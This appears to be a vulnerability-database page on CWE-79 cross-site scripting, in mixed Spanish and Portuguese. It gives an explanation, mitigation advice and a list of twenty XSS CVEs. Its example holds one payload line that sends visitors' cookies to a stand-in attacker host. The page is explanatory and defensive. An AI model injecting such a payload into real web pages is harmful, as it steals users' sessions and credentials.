Fallos del tipo CWE-79

30.189 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-14962MEDIUMcode-projects Simple Stock System chatuser.php cross site scriptingEPSS 0.3%CVE-2024-51893MEDIUMWordPress Postify: Post Layout For Elementor plugin <= 1.0.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-46971MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-47078MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-40681MEDIUMCross-Site Scripting (XSS) in xCally OmnichannelEPSS 0.3%CVE-2024-52947MEDIUMA cross-site scripting (XSS) vulnerability in LemonLDAP::NG before 2.20.1 allows remote attackers to inject arbitrary web script or HTML viaEPSS 0.3%CVE-2026-27013HIGHFabric.js Affected by Stored XSS via SVG ExportEPSS 0.3%CVE-2023-52118MEDIUMWordPress WP User Profile Avatar Plugin <= 1.0 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2025-2490MEDIUMDromara ujcms File Upload WebFileUploadController.java upload cross site scriptingEPSS 0.3%CVE-2024-30423MEDIUMWordPress Better Elementor Addons plugin <= 1.3.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-20309MEDIUMCisco Identity Services Engine Cross-Site Scripting VulnerabilityEPSS 0.3%CVE-2025-46960MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2023-51666MEDIUMWordPress Related Post Plugin <= 2.0.53 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2025-46917MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2024-51894MEDIUMWordPress Topbar ID for Elementor plugin <= 1.0.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-47076MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-46968MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2024-51897MEDIUMWordPress News Articles plugin <= 1.0.0 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2021-47919MEDIUMSimple CMS 2.1 Non-Persistent Cross-Site Scripting via Preview ParameterEPSS 0.3%CVE-2024-44798MEDIUMphpgurukul Bus Pass Management System 1.0 is vulnerable to Cross-site scripting (XSS) in /admin/pass-bwdates-reports-details.php via fromdatEPSS 0.3%